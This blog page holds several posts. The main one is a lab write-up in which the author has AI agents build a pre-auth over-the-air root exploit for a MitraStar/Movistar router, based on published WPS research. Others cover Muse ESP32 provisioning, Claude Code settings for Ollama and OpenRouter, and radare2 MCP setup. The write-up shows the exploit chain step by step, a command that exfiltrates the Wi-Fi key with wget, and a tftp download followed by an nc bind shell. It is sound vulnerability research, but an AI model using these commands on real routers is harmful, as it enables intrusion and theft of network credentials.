Replicating WPSplinter on a Movistar O2 HGU with AI agents

TL;DR:

I bought a vulnerable Movistar O2 HGU, built a lab around it, and pointed a bunch of AI agents at it. Result: remote code execution as root over the air. No WiFi password, no WPS PIN, no button pressed.

As a bonus, during the research I also discovered a previously undisclosed command injection vulnerability in the router, which I’ve already reported.

I did not find the WPSplinter bug. WPSplinter is Quentin Kaiser’s research (Hexacon 2026). I wanted to see if AI agents could turn Quentin’s research into an exploit for this router.

Short answer: yes. But it took more lab work than prompting.

And yes, I went a little crazy with the AI-generated images. I like them; they are cool 🏴‍☠️.

All the work is available on my GitHub.

The lab

Introduction

In October 2026, Quentin Kaiser published One Parser, Two Bugs, Many Routers. Short version: Broadcom’s legacy WPS implementation has a memory corruption bug. You can trigger it without being joined to the WiFi network, so the WiFi password is irrelevant.

I’m not going to re-explain the bug here. Quentin already did it better than I can. Go read his research; it’s f** cool.

There is no CVE for this bug. The code has been in Broadcom’s SDK since around 2010. Broadcom tried to fix it in 2018 but the bug was not patched correctly, and then recommended everyone move to hostapd. Broadcom is its own CNA and doesn’t intend to assign a CVE identifier.

The thing that got my attention was the affected device list. A device used by Movistar / O2 was on it, MitraStar GPT-2541GNAC.

I spent less than 10€ to get one on a second-hand website. The device had the firmware version ES_g3.5_100VNJ0b54_7 (b54) installed. The latest firmware version was released in February 2025, ES_g8.4_100VNJ0b78 (b78).

I wanted to know if a bunch of agents could reverse the firmware and build an exploit for my router, while I checked their progress and decided the next step.

The lab

Most of the work was setting up the lab.

Attaching a binary to ChatGPT isn’t enough. The agents needed to run tools, test on the router and see the results. Here’s the setup:

  • MitraStar GPT-2541GNAC.
  • ARM64 VM as the working box (radare2, gdb-multiarch, qemu-user, binwalk, scapy, mtd-utils, …).
  • Atheros AR9271 USB WiFi adapter for monitor mode and injection.
  • USB Ethernet adapter on the router LAN for management and observation.
  • A smart plug driven by Home Assistant, exposed to the agent as an MCP server to reboot the device.
  • OpenCode as the main harness, and Claude Code for the initial reverse engineering work.

Lab architecture

The two interfaces do different jobs: the WiFi adapter injects the attack frames, and the Ethernet one is used to watch what the router does (tcpdump) and to host the exfil listener.

The magic of the smart plug

Most failed attempts killed wps_monitor. Only one instance can run at a time. It registers its PID in /tmp/wps_monitor.pid and starts when the device boots up.

Every crash = power-cycle the router. About 3 minutes from cold to a working WPS daemon.

Having switch.router_lab reachable through an MCP meant the agent could say “reboot and wait” instead of me getting up from the chair one hundred times. This integration probably saved me a full day.

About the root shell

During the research I found a command injection in the restricted CLI, over SSH, which is running as root.

Escaping that CLI is a very old sport on these types of devices. These CVEs were assigned to this device:

  • CVE-2017-16523: SSH misconfiguration, you just ask for /bin/sh as a command.
  • CVE-2021-42165: the path parameter of deviceinfo show is not sanitized, straight to root.
  • CVE-2024-9977: same idea on the web side, settings-firewall.cgi.

All of them are fixed on the build used. But the pattern is still there: the CLI keeps building shell strings out of user input and handing them to system(). I found another command that still does it. There is no CVE for that one, so I’m asking for it.

The firmware image was on the internet, so I didn’t need the shell for that part. What the shell gave me was the live device:

  • Pushing a fuller BusyBox build of my own, so I could test things the stock one simply cannot do.
  • Running a gdbserver on it and debugging wps_monitor live.
  • Reading /proc/<pid>/maps of the daemon to calibrate the first chain.

This root access is instrumentation, not a requirement. The final version doesn’t use it. That difference matters later, when the blind chain works.

Who did what

I changed models depending on the work to do:

Model Role
Anthropic models Static reversing of wps_monitor, driving radare2 through r2mcp + r2ghidra.
GLM 5.3 First exploitation phase: the semi-blind RCE.
DeepSeek-v4-pro The blind chain. GLM was not getting there.
Flash variants Documentation and consolidation only. No exploit development.

AI agents Workflow

My job was: define the goal, keep the lab alive, decide what to try next, and check every claim against the actual router. The agents did the disassembly hours, wrote the scripts and produced artifacts I could verify.

That last thing is the difference between this and “ask ChatGPT to hack my router”. In an AI chat, every answer sounds convincing. A breakpoint that never hits doesn’t care how convincing it sounded.

First RCE: semi-blind

With the lab ready, it was time for GLM 5.3 to dance. Once the required structures and offsets were known, it took over the exploit work.

The chain:

  1. Start a WPS session over the air. AUTH + ASSOC without RSNE, then EAPOL-Start, then an EAP-Response/Identity with the exact string WFA-SimpleConfig-Enrollee-1-0. Anything else and the AP just asks again.
  2. Read the live eap_sm from the device and build the payload from those bytes, patching only our fields.
  3. Send fragment 1 with LF|MF, get the real FACK off the air, send fragment 2 with MF=0.
  4. Wait for the AP timeout, resend_last_sent fires, system(&cmd) runs.
19:13:12-17  ICMP echo request x5  192.168.111.1 > 192.168.111.10
19:13:17-21  ICMP echo request x5  192.168.111.1 > 192.168.111.10

ICMP packets were sent by the router, triggered over the radio with no credentials. ping is just the demo; any command up to about 2 KB fits in the buffer.

But: system’s address came from reading /proc/<pid>/maps through the root shell. The vector is pre-auth and wireless, but the calibration was not. That’s why I call it semi-blind, and that’s why it wasn’t my final goal.

Two of the failures on the way are worth keeping:

  • Payload filled with 0x41 padding -> SIGSEGV in wps_get_mode+8. The state machine reads *(sm+0x1044) after fragment 2, and 0x41414141 is not a valid anything. Fix: read the live struct and patch surgically.
  • Fragment 2 with MF=1 -> system() executed six times with garbage. The FACK for MF=1 calls send_data(a0 = sm+0x10) and clobbers last_sent on its way. Fix: MF=0.

Direction changed, not the goal

Quentin’s approach for MIPS relies on a memory leak to resolve the randomized libc base. GLM 5.3 tried the same idea. The leak worked, but the RCE never landed, even after several attempts.

To go fully blind I needed system from the air. The firmware gave me a way to leak the address over EAP-WPS.

You poison next_frag_to_send (+0x101c) to point at an address next to the GOT. The daemon retransmits the fragment from there, in place, and the first 4 bytes that go out over 802.11 are the GOT word required. A read oracle over EAP-WPS itself. No sockets, no second channel.

Global Offset Table (GOT): A lookup table in memory used by ELF executables to resolve the runtime addresses of external shared library functions (like libc routines) at execution time.

It worked. Verified across 8 boots, 14 votes, two cross-checked anchors, calibrating exactly against /proc every single time.

The agent also classified the GOT slots by when they resolve, which is the kind of note that saves you two days:

GOT slot symbol resolved formula
0x43588c printf lazy, do NOT use -
0x435874 signal at init system = leak + 0x9990
0x435a10 getpid at init system = leak + 0x4cea0
0x43593c fprintf at init system = leak + 0x30040

With the leak in hand, the RCE should have been easy. It kept failing.

I spent a lot of time on “it just dies sometimes” before putting a gdbserver on it and catching the actual crash:

pc = t9 = 0x220104          ; garbage from the walk header
ra = 0x40a55c               ; jalr GOT[buffobj_Length], a LAZY slot

I flagged this as the end of this approach. The completion always calls nvram_set and buffobj_Length. Every leak found corrupted something that gets called. GLM 5.3 kept producing variants of the same approach and kept hitting the same wall.

A good vibehacker knows what to do when the token quota is almost empty: switch models.

Blind RCE

DeepSeek took a different path: new model, new plan.

The binary is not PIE. .bss is at a fixed address. And on this device .bss is mapped rwx.

So: don’t call system. Write your own shellcode into .bss, then overwrite a GOT entry that the reassembly path itself is about to call, and let the parser jump into your code.

  1. WPS session over the air -> WSC_START
  2. Valid M1 -> M2D (the retransmit churn flushes the icache for us)
  3. Poison (2098 B): shellcode lands in .bss (rwx); to_recv = 0xFFFF; total_received staged; next_frag_to_send = msg_to_send
  4. frag-R2: makes total_bytes_to_recv = 0xFFFFFFFF and wraps total_received negative, so the bound check passes
  5. frag-W: the wrapped copy lands on GOT[memcpy] and writes the shellcode address into it
  6. frag-T: process_frag calls memcpy() -> jumps into the shellcode -> execve("/bin/sh", ["-c", CMD])

No memory leak. No dependency on randomized libc addresses. No prior privileged access to the device.

ASLR is still there. I just stopped caring about it.

Three checks had to be bypassed, all identified dynamically on the live device via gdbserver + gdb-multiarch instead of static analysis:

  • Continuations only survive if next_frag_to_send == msg_to_send; otherwise they take a branch that silently resets the reassembly state.
  • The wrap only passes the unsigned bound check with total_bytes_to_recv = 0xFFFFFFFF.
  • The id gate drops the fragment if frag_id == eap_id - 1.

So, static analysis showed where to look; the constants were obtained by debugging the router.

First hit: root shell on the router and ICMP captured on the management interface.

The final payload

The payload was just a shell command:

export LD_LIBRARY_PATH=/lib/public:/lib/private:/lib/gpl:/lib
/bin/wget -q -O /dev/null "http://192.168.111.10:8080/$(/bin/nvram get wl0_wpa_psk)"

/bin/nvram get wl0_wpa_psk shows the PSK password in cleartext. The password is exfiltrated in the path of the GET, the classic http://IP:8080/thePassword.

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 --ping-target 192.168.111.10 --exfil http://192.168.111.10:8080/e

# Terminal 2
$ python3 exfil_listener.py

22:56:13.261814 GET /64F01F572F5F6C202821

Exfil

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 --cmd "ping -c 3 -W 2 192.168.111.10"

# Terminal 2
$ sudo tcpdump -i enxc817f5fa059a -n icmp

22:56:10.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 0
22:56:11.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 1
22:56:12.62 192.168.111.1 > 192.168.111.10: ICMP echo request, id 4185, seq 2

The first execution shows how to exfiltrate the WiFi password by having a simple webserver listen on an interface accessible by the affected device. The second one uses ICMP for diagnostics (the favourite for the old school hackers). It is also possible to get direct RCE using the tftp of the device to upload a compatible BusyBox in /data/ and then bind a shell.

# Terminal 1
$ sudo python3 exploit_blind.py wlx10feed1d7066 84:aa:9c:20:0b:b9 --ssid MOVISTAR_0BB8 --channel 7 \
       --cmd 'B=$(/bin/busybox grep -e Uid -e Gid /proc/self/status | /bin/busybox base64); /bin/busybox wget -q -O /dev/null "http://192.168.111.10:8080/o/$B"; /bin/busybox tftp -g -r bb -l /data/busybox 192.168.111.10; /bin/busybox chmod +x /data/busybox; /data/busybox nc -l -p 2323 -e /bin/sh &'

# Terminal 2
$ nc 192.168.111.1 2323
uid=0(1234) gid=0(root)      # root, without exposing the key

The listener

Research milestones

Same bug, different approach

The original research also recovered the WiFi password over 802.11, using WiFi as the return channel. Definitely fancier than my HTTP listener, but building a wireless shell was never the goal of this experiment.

Approach Comparison

What this proves

For this device, tested with two different firmware versions (b54 and b78, the latest firmware version), here’s what was confirmed:

  • The vulnerable code is reachable from the air with no credentials and without completing WPS enrollment.
  • Code execution as root (uid=0).
  • The final chain needs no leak, no ASLR bypass and no binaries uploaded to the router.
  • The WPA2 key can be read from nvram in cleartext and sent out.
  • Portability across devices and firmware versions depends on their memory layout. Different builds may share the same layout, but this needs to be verified instead of assumed.

Lessons learned

  1. The biggest improvement wasn’t a prompt. It was giving the agents the capability to reboot the router and debug wps_monitor on the real device.
  2. GLM 5.3 got the semi-blind chain working but couldn’t accomplish the final goal. DeepSeek dropped the leak and tried another path.
  3. Verify everything the agent says. I still had to check every claimed success against the router.

References

Thanks to Quentin Kaiser for the original research and for publishing the tooling. Without the talk and the device list, none of this happens.

Playing with Meta Muse on an ESP32-S3 - Part 1: making the gadget useful

TL;DR: Meta open-sourced an SDK to turn ESP32 boards into Muse gadgets. I got one working from Spain, without the mobile app, speaking through a local TTS and flashable in one command. Code: dan1t0/muse-esp32-unchained.

Muse gadget running on an ESP32-S3

The finished gadget: a Waveshare ESP32-S3 AMOLED board with a Snorlax (inspired) avatar.

Introduction

Meta’s Muse Gadgets SDK is one of those projects that immediately makes you want to find an ESP32 board with a display, microphone and speaker and see how far you can push it. The repository contains firmware for ESP32 boards and a Linux SDK, supports multiple displays and input devices, and connects the gadget to the Muse environment.

The basic model is simple: flash a compatible board, configure an SDK token, pair it to an account, connect it to Wi-Fi, and then use the gadget as a small physical interface for an AI agent.

At the time of testing, the normal Muse onboarding path wasn’t available to me in Spain: the iOS companion app was tied to the US App Store. Android was an option, but I wanted to understand the actual flow.

This post is about the first useful version of the experiment:

  1. Getting the ESP32-S3 associated with my Muse account without using the phone app, and from Spain.
  2. Understanding the voice path and adding TTS to the SDK that already had the functionality ready to be set up.
  3. Wrapping the process so a fresh board can be flashed with an avatar, Wi-Fi configuration and the required account setup in one go.

The two-token problem: SDK configuration is not pairing

Before changing anything, it’s worth separating two concepts that are easy to mix up when reading the SDK:

  • An SDK token is issued from the Muse gadget settings and is configured in the firmware (or stored on the board after flashing). It tells the service that the gadget was built under that developer account.
  • A device / pairing credential is created during the account-pairing flow. The board advertises itself over BLE as MuseGadget-XXXXXX; the companion app normally completes an encrypted pairing confirmation and the service mints the credential used by the device afterwards.

This is important: baking an SDK token into a build doesn’t give you a paired gadget. The public SDK documentation is explicit about this: the token is part of setup, while pairing is a separate, user-confirmed action.

Account access from a supported region

To activate my account, the first muse.ai sign-in and the email-code verification went through a VPN endpoint in a supported region. After that, the web dashboard worked normally with that account.

Removing the mobile app from my own setup path

The mobile application is the expected way to finish setup: it discovers the gadget over BLE, confirms the physical pairing action and exchanges the information needed to attach the device to the account. I didn’t want a US-store iPhone app to be a permanent requirement for a developer board on my desk.

So my fork doesn’t use the official route at all: no mobile app, no BLE pairing and no SDK token. The board authenticates the way the web client does. The provisioning script checks my browser session against Muse before building anything and, after flashing, hands it to the board over the USB cable; the board stores it and uses it at every boot to obtain short-lived connection tokens. Once connected, it registers itself as a device over the same encrypted session, which is why the Muse app lists it as a device rather than as a browser. When the browser session expires, I provision the board again.

After provisioning, the ESP32-S3 appeared under Settings > Devices in the Muse interface and could establish its normal connection to the selected agent.

ESP32-S3 listed under Settings > Devices

The ESP32-S3 listed in Settings > Devices.

The voice path: STT belongs to Muse, TTS is your problem

The first time you see the board record audio and send it to the agent, it’s tempting to assume that speech recognition must be happening locally. It’s not.

While you hold the button, the firmware records 16 kHz audio; on release, it sends the whole clip as a WAV voice note, the same way the phone app does, through an encrypted Noise session (TLS, then WebSocket, then Noise). Muse transcribes it, places that text in the conversation and streams the agent’s reply back to the board as text, which the display shows as captions at a sensible pace. Keep notes short: Muse stops listening at 15 seconds.

That means STT is provided by the Muse side of the flow. I didn’t have to host Whisper, choose an STT vendor or try to teach the ESP32 a new career.

The TTS hook that was already waiting there

Spoken replies are different. On boards with PSRAM (mine has 8 MB), the SDK documentation points directly at start_tts() in esp32/components/muse/muse_chat_session.cpp: it receives the finished reply text, and the project already has the MP3 decoder, speaker output and volume control wired around that point. So the hook is ready, but the TTS service is your problem. The PSRAM condition is real: the reply audio buffer alone is 128 to 512 KB, far more than the chip’s internal RAM can spare.

Muse does have voice replies of its own: Meta’s Linux client can ask for them. When I tried, every request came back with the same short canned spoken error, so the option is there but not usable yet, and the speech is up to the gadget.

I added a small HTTP TTS client in start_tts(). It sends an OpenAI-style POST /v1/audio/speech request (model, input, voice, response_format: "mp3") and plays the MP3 that comes back. My server is Kokoro-82M, running on a Mac on my LAN, and it sounds great on the board’s speaker.

Kokoro isn’t a requirement. The TTS server, model and voice are picked at build time in the private configuration file, so any server that accepts the same request and returns MP3 can take its place with a rebuild, and with a few firmware changes (sending an API key, decoding WAV as well as MP3) other TTS providers would work too.

The board downloads the audio on a separate worker, decodes it and hands it to the existing speaker path. If synthesis fails, it falls back to captions. No need to redesign the chat session or the audio driver. The hook was exactly where the SDK wanted it.

My pipeline

The voice pipeline with my addition: Muse handles transcription and the agent; the board adds speech.

Fixing the voice agent, or: Markdown is not a spoken language

Once the board could speak, the next problem was obvious: a chat reply is not something you want read out loud.

Ask about the weather and a normal assistant may answer with headings, bullets, inline code, asterisks and emoji. A TTS engine is wonderfully literal. It will faithfully read symbols that were never meant to be heard. I found two ways to fix this:

a) The quick experiment: agent memory

My first fix lived in my Muse agent’s memory:

When a query comes from a voice/audio note, never answer in markdown format or with emojis; use plain text, because emojis and markdown cause problems for audio playback.

Muse can tell whether a message arrived as voice or text, so this worked surprisingly well, and it let me validate the spoken experience before touching the firmware. Ugly version first, check it’s worth it, then make it less ugly. That’s it.

Agent memory / voice-response instruction

The quick experiment: the spoken-answer rule living in my agent’s memory.

b) The proper fix: the rules travel with every voice note

Persistent agent memory is a convenient place to test a theory, but it’s not where I want a device protocol to live. The voice note the firmware sends is a JSON request with the WAV attached and a text field, message, which the stock firmware leaves empty. Meta’s own Linux client documents that field for instructions sent with a voice note, so my firmware now fills it on every note:

This query comes from a voice note, never answer in markdown format or with emojis; use plain text, because emojis and markdown cause problems for audio playback.

It’s a single constant in the firmware, it adds no audio to transcribe, and it doesn’t depend on what the agent happens to remember. With the memory rule deleted, voice replies still come back as plain text, ready for the speaker.

Joining the pieces: a repeatable flashing workflow

By this point I had several individually working bits:

  • A firmware tree based on Meta’s SDK
  • A custom avatar, which in this SDK isn’t an image but a small C renderer (esp32/components/muse/avatar/muse_pixel.c; the SDK’s esp32/tools/muse/avatar.py can even ask Muse to write it for you)
  • Board-specific build settings
  • Wi-Fi configuration
  • My own locally handled session material for the onboarding flow
  • The TTS adapter
  • And a device that was much more fun to talk to than to configure manually.

The obvious next step was a small Bash wrapper to turn these modifications into something repeatable. The wrapper reads a private configuration file (Wi-Fi, TTS server and my browser session), checks the session against Muse, applies the required project settings, builds the selected ESP32-S3 target with whatever avatar renderer is in the tree, flashes it and hands the session to the board over USB.

$ bash unchained_provision/provision.sh --profile muse-175 --port /dev/cu.usbmodemXXXX
provision: HTTP TTS enabled (em_santa)
provision: checking the cookie against muse.ai...
provision: cookie live - session and token legs both 200; VM, endpoint and both tokens validated (token 895 chars, notary 575 chars)
provision: profile muse-175 (given)
provision: building muse-175 (web session on, Wi-Fi baked)...
provision: muse-gadget.bin binary size 0x221000 bytes. Smallest app partition is 0x400000 bytes. 0x1df000 bytes (47%) free.
provision: feeding the web cookie over serial...
provision: watching the boot until the gadget is registered and connected (75 s)...
provision: CONNECTED - hb t=72s setup=advertising wifi=up ws=up raw=down ble=off

A provisioning run, trimmed: the session is checked before anything is built, and the script watches the first boot.

The sleep/reconnect patch. Or Understanding why Muse doesn’t like siesta

The first iteration had one annoying issue: after a long enough nap on battery, the board stayed offline until I rebooted it. A voice gadget that needs manual intervention after taking a nap has picked the wrong hobby.

The bug wasn’t board-specific. On battery, once the screen has been asleep for two minutes, the SDK naps Wi-Fi: wifi_mgr_disconnect() turns off automatic reconnection. On wake, the keeper task is notified, but its only explicit rejoin path is guarded by !WIFI_OVERRIDE, so a board whose network comes from the build-time override (CONFIG_HOMEHUB_WIFI_SSID, exactly what my wrapper uses) never tries again. The status can even read “Joining” while nothing happens. A reboot fixes it, which isn’t a feature.

The fix lets the keeper rejoin the build-time network too, with the same priority as at boot, and wakes the session heartbeat once it’s back. You can read the change in muse_glue.c and app.c, with host tests in test_muse_wifi_resume.py.

Things I may write about later

This first post is the result of the things I found while trying to get Meta’s Muse gadget running on an ESP32-S3 using Meta’s SDK. Along the way, I made a few changes and improvements, but I also came across some other areas that may be worth writing about in the future, if I have the time:

  • Taking Muse off the board. Once the voice agent worked on the ESP32, porting just that part to Swift was too much fun to skip: it already runs on macOS as a floating desktop companion. Then came a browser version that can run on Muse or be untied from it and wired to my own speech and LLM stack, plus a lite build that turns an old phone into a conversational gadget.

  • How Muse finds devices on your network and launches skills. Skills run in Muse’s VM, not on the board, but the ESP32 is what lets them reach my home network. With CONFIG_HOMEHUB_TUNNEL enabled, the SDK firmware opens a /link-tunnel stream inside the encrypted Noise session and brings up a virtual network interface with NAPT (tunnel_netif_start()). IP packets sent by the VM come out of the board as ordinary LAN traffic, and the replies travel back the same way. The same option lets the board answer device.discover (net_discovery_run()) with what it finds over mDNS, SSDP, and ARP. I will follow a Sonos request end to end through that path.

  • Using Muse as a bridge. Muse’s outputs can be returned in JSON, so a bridge can expose those capabilities to one of my own agents while preserving a predictable tool-output format. I will cover the design and its boundaries separately, because this is where a friendly gadget starts looking suspiciously like an agent-integration project.

References

Claude Code + Ollama/OpenRouter: Fix "model not found" (set 3 default models)

TL;DR: Claude Code internally uses 3 default models (Haiku/Sonnet/Opus). If you only configure one, you’ll hit intermittent 404 model ... not found errors. Fix: set ANTHROPIC_DEFAULT_HAIKU_MODEL, ANTHROPIC_DEFAULT_SONNET_MODEL, and ANTHROPIC_DEFAULT_OPUS_MODEL.

Claude Code

Introduction

Recently, Ollama added support for Claude Code. In the Ollama Blog, the instructions are clear and easy:

export ANTHROPIC_AUTH_TOKEN=ollama
export ANTHROPIC_BASE_URL=http://localhost:11434

# Run Claude Code with an Ollama model:
claude --model gpt-oss:20b

# Models in Ollama's Cloud also work with Claude Code:
claude --model glm-4.7:cloud

However, if you use a proxy server, you might see the following error:

HTTP Request:

{
  "model": "claude-haiku-4-5-20251001",
  "max_tokens": 1,
  "messages": [
    {
      "role": "user",
      "content": "count"
    }
  ],
  "tools":[
    {
      "name":"Task",
<...snip...>

HTTP Response:

HTTP/1.1 404 Not Found
Content-Type: application/json

{
  "type": "error",
  "error": {
    "type": "not_found_error",
    "message": "model 'claude-haiku-4-5-20251001' not found"
  }
}

In addition, telemetry is continuously sending requests to http://localhost:11434/api/event_logging/batch, getting a 404. My TOC doesn’t accept this :D

The Problem Nobody Tells You About

Claude Code doesn’t use a single model, it uses 3 internally:

Tier Variable Purpose
HAIKU ANTHROPIC_DEFAULT_HAIKU_MODEL Fast auxiliary tasks: terminal titles, conversation summaries, bash path extraction
SONNET ANTHROPIC_DEFAULT_SONNET_MODEL Main coding model
OPUS ANTHROPIC_DEFAULT_OPUS_MODEL Complex reasoning and deep analysis

If you don’t configure all 3, Claude Code will fail with 404 errors looking for the other models, for instance claude-haiku-4-5-20251001. This will happen depending on the internal task performed by Claude Code.

Working with Ollama (Local)

It’s highly recommended to bump the default context length to 64K and allow multiple loaded models + parallel requests:

export OLLAMA_CONTEXT_LENGTH=64000
export OLLAMA_MAX_LOADED_MODELS=3
export OLLAMA_NUM_PARALLEL=2

One-liner for 64GB RAM (Full Power)

If you want maximum performance and have the RAM to spare:

DISABLE_TELEMETRY=1 \
ANTHROPIC_AUTH_TOKEN=ollama \
ANTHROPIC_BASE_URL=http://localhost:11434 \
ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:8b" \
ANTHROPIC_DEFAULT_SONNET_MODEL="qwen3-coder:latest" \
ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:72b-q4_K_M" \
claude
Tier Model RAM Notes
HAIKU qwen3:8b ~5GB Fast for auxiliary tasks
SONNET qwen3-coder:latest ~20GB Code specialized
OPUS qwen3:72b-q4_K_M ~45GB Full power reasoning

One-liner for 64GB RAM (Lightweight)

If you prefer to keep RAM free for other tasks:

DISABLE_TELEMETRY=1 \
ANTHROPIC_AUTH_TOKEN=ollama \
ANTHROPIC_BASE_URL=http://localhost:11434 \
ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
ANTHROPIC_DEFAULT_SONNET_MODEL="qwen3-coder:latest" \
ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:32b-q4_K_M" \
claude
Tier Model RAM Notes
HAIKU qwen3:4b ~3GB Minimal footprint
SONNET qwen3-coder:latest ~20GB Code specialized
OPUS qwen3:32b-q4_K_M ~20GB Good reasoning, less RAM

One-liner for 32GB RAM (Full Power)

Pushing 32GB to the limit:

DISABLE_TELEMETRY=1 \
ANTHROPIC_AUTH_TOKEN=ollama \
ANTHROPIC_BASE_URL=http://localhost:11434 \
ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
ANTHROPIC_DEFAULT_SONNET_MODEL="deepseek-coder-v2:16b" \
ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:32b-q4_K_M" \
claude
Tier Model RAM Notes
HAIKU qwen3:4b ~3GB Minimal footprint
SONNET deepseek-coder-v2:16b ~10GB Great coder, lighter
OPUS qwen3:32b-q4_K_M ~20GB Best reasoning at this size

One-liner for 32GB RAM (Lightweight)

If you want to keep your system responsive:

DISABLE_TELEMETRY=1 \
ANTHROPIC_AUTH_TOKEN=ollama \
ANTHROPIC_BASE_URL=http://localhost:11434 \
ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
ANTHROPIC_DEFAULT_SONNET_MODEL="deepseek-coder-v2:16b" \
ANTHROPIC_DEFAULT_OPUS_MODEL="deepseek-coder-v2:16b" \
claude
Tier Model RAM Notes
HAIKU qwen3:4b ~3GB Minimal footprint
SONNET deepseek-coder-v2:16b ~10GB Great coder
OPUS deepseek-coder-v2:16b ~10GB Same model, less context switching

This last config uses the same model for SONNET and OPUS. You lose some reasoning power, but it’s much lighter on RAM and avoids constant model swapping.

If you’re using Ollama Cloud, there are other powerful alternatives available. Check the cloud models here.

OpenRouter (Free Models)

One-liner

DISABLE_TELEMETRY=1 \
ANTHROPIC_BASE_URL="https://openrouter.ai/api" \
ANTHROPIC_AUTH_TOKEN="$OPENROUTER_API_KEY" \
ANTHROPIC_API_KEY="" \
ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen/qwen3-4b:free" \
ANTHROPIC_DEFAULT_SONNET_MODEL="qwen/qwen3-coder:free" \
ANTHROPIC_DEFAULT_OPUS_MODEL="deepseek/deepseek-r1-0528:free" \
claude

Important: ANTHROPIC_API_KEY="" must be explicitly empty (not just unset) for OpenRouter to work.

Tier Model Context Notes
HAIKU qwen/qwen3-4b:free 40K Light and fast
HAIKU xiaomi/mimo-v2-flash:free 262K More context
SONNET qwen/qwen3-coder:free 262K 480B MoE, excellent for code
SONNET mistralai/devstral-2512:free 262K New Devstral
OPUS deepseek/deepseek-r1-0528:free 163K Reasoning chains
OPUS meta-llama/llama-3.1-405b-instruct:free 131K 405B parameters

Shell Aliases

Add these to your .bashrc or .zshrc:

Ollama 64GB (Full Power)

alias claude-ollama='DISABLE_TELEMETRY=1 \
  ANTHROPIC_AUTH_TOKEN=ollama \
  ANTHROPIC_BASE_URL=http://localhost:11434 \
  ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:8b" \
  ANTHROPIC_DEFAULT_SONNET_MODEL="qwen3-coder:latest" \
  ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:72b-q4_K_M" \
  claude'

Ollama 64GB (Lightweight)

alias claude-ollama-light='DISABLE_TELEMETRY=1 \
  ANTHROPIC_AUTH_TOKEN=ollama \
  ANTHROPIC_BASE_URL=http://localhost:11434 \
  ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
  ANTHROPIC_DEFAULT_SONNET_MODEL="qwen3-coder:latest" \
  ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:32b-q4_K_M" \
  claude'

Ollama 32GB (Full Power)

alias claude-ollama='DISABLE_TELEMETRY=1 \
  ANTHROPIC_AUTH_TOKEN=ollama \
  ANTHROPIC_BASE_URL=http://localhost:11434 \
  ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
  ANTHROPIC_DEFAULT_SONNET_MODEL="deepseek-coder-v2:16b" \
  ANTHROPIC_DEFAULT_OPUS_MODEL="qwen3:32b-q4_K_M" \
  claude'

Ollama 32GB (Lightweight)

alias claude-ollama-light='DISABLE_TELEMETRY=1 \
  ANTHROPIC_AUTH_TOKEN=ollama \
  ANTHROPIC_BASE_URL=http://localhost:11434 \
  ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen3:4b" \
  ANTHROPIC_DEFAULT_SONNET_MODEL="deepseek-coder-v2:16b" \
  ANTHROPIC_DEFAULT_OPUS_MODEL="deepseek-coder-v2:16b" \
  claude'

OpenRouter

alias claude-openrouter='DISABLE_TELEMETRY=1 \
  ANTHROPIC_BASE_URL="https://openrouter.ai/api" \
  ANTHROPIC_AUTH_TOKEN="$OPENROUTER_API_KEY" \
  ANTHROPIC_API_KEY="" \
  ANTHROPIC_DEFAULT_HAIKU_MODEL="qwen/qwen3-4b:free" \
  ANTHROPIC_DEFAULT_SONNET_MODEL="qwen/qwen3-coder:free" \
  ANTHROPIC_DEFAULT_OPUS_MODEL="deepseek/deepseek-r1-0528:free" \
  claude'

References

Using radare2 mcp with r2ghidra as security consultant

Introduction

As a security consultant, when you don’t work on the same type of engagement every time, you must try to learn how to use thousands of different types of security tools. Nowadays, with Artificial Intelligence (AI) our way to approach these challenges has changed. Knowing how and when to use AI, our productivity improves drastically.

In this post, I will explain how to create a quick reversing agent using OpenCode, radare2, the Ghidra decompiler for radare2 (r2ghidra), and thanks to OpenCode Zen offering in OpenCode these free models: Grok Code Fast 1, Big Pickle and GPT 5 Nano, MiniMax M2.1, and GLM 4.7.

Extra Ball

Thankfully, I had some tokens to spare, so I decided to get fancy and deploy a Telegram bot with Docker. It’s still a bit ‘bare-bones’, but it works pretty well! You can find the code in my GitHub repo

The Bot

Radare2 + r2ghidra + r2mcp

radare2 (or r2 for short) is a reverse engineering framework. It’s open source and works on multiple platforms. You can install it from source:

git clone --depth 1 https://github.com/radareorg/radare2
cd radare2
sys/install.sh

That’s it! The install script handles all the dependencies and compilation for you.

radare2 has a package manager called r2pm (radare2 package manager) that lets you install additional tools. One of the most useful plugins is r2ghidra, which brings Ghidra’s decompiler directly into radare2. Ghidra’s decompiler produces readable C code from assembly, which makes reverse engineering easier.

To install everything we need, you use r2pm:

r2pm -U  # Update package database
r2pm -ci r2ghidra r2ghidra-sleigh r2mcp

The r2ghidra-sleigh package contains the Sleigh language specification files that Ghidra uses for decompilation.

r2mcp makes radare2 accessible via the Model Context Protocol (MCP). MCP allows OpenCode (or other AI agents) to interact with radare2. It’s included in the install command above.

Once installed you can configure the mcp to run as an stdio server with r2pm -r r2mcp. Press ^D to close the stream or use -h to see the other commandline flags that we can use to tweak the mcp. The most important ones are -m (minimode to reduce the amount of tools to save context), -r and -R flags will make it readonly, other sandboxing features are also available but that’s out of the scope of this post.

In addition you can use the -t flag to list all the available tools or directly use -T to call the tools from bash scripts.

Opencode

OpenCode is an AI coding assistant that can work with MCP servers. In our case, we’re using it to connect to r2mcp so the AI can use radare2.

Installation is super simple - just run their install script:

curl -fsSL https://opencode.ai/install | bash

After installation, you need to configure OpenCode to use r2mcp. Create a config file at ~/.config/opencode/opencode.json:

{
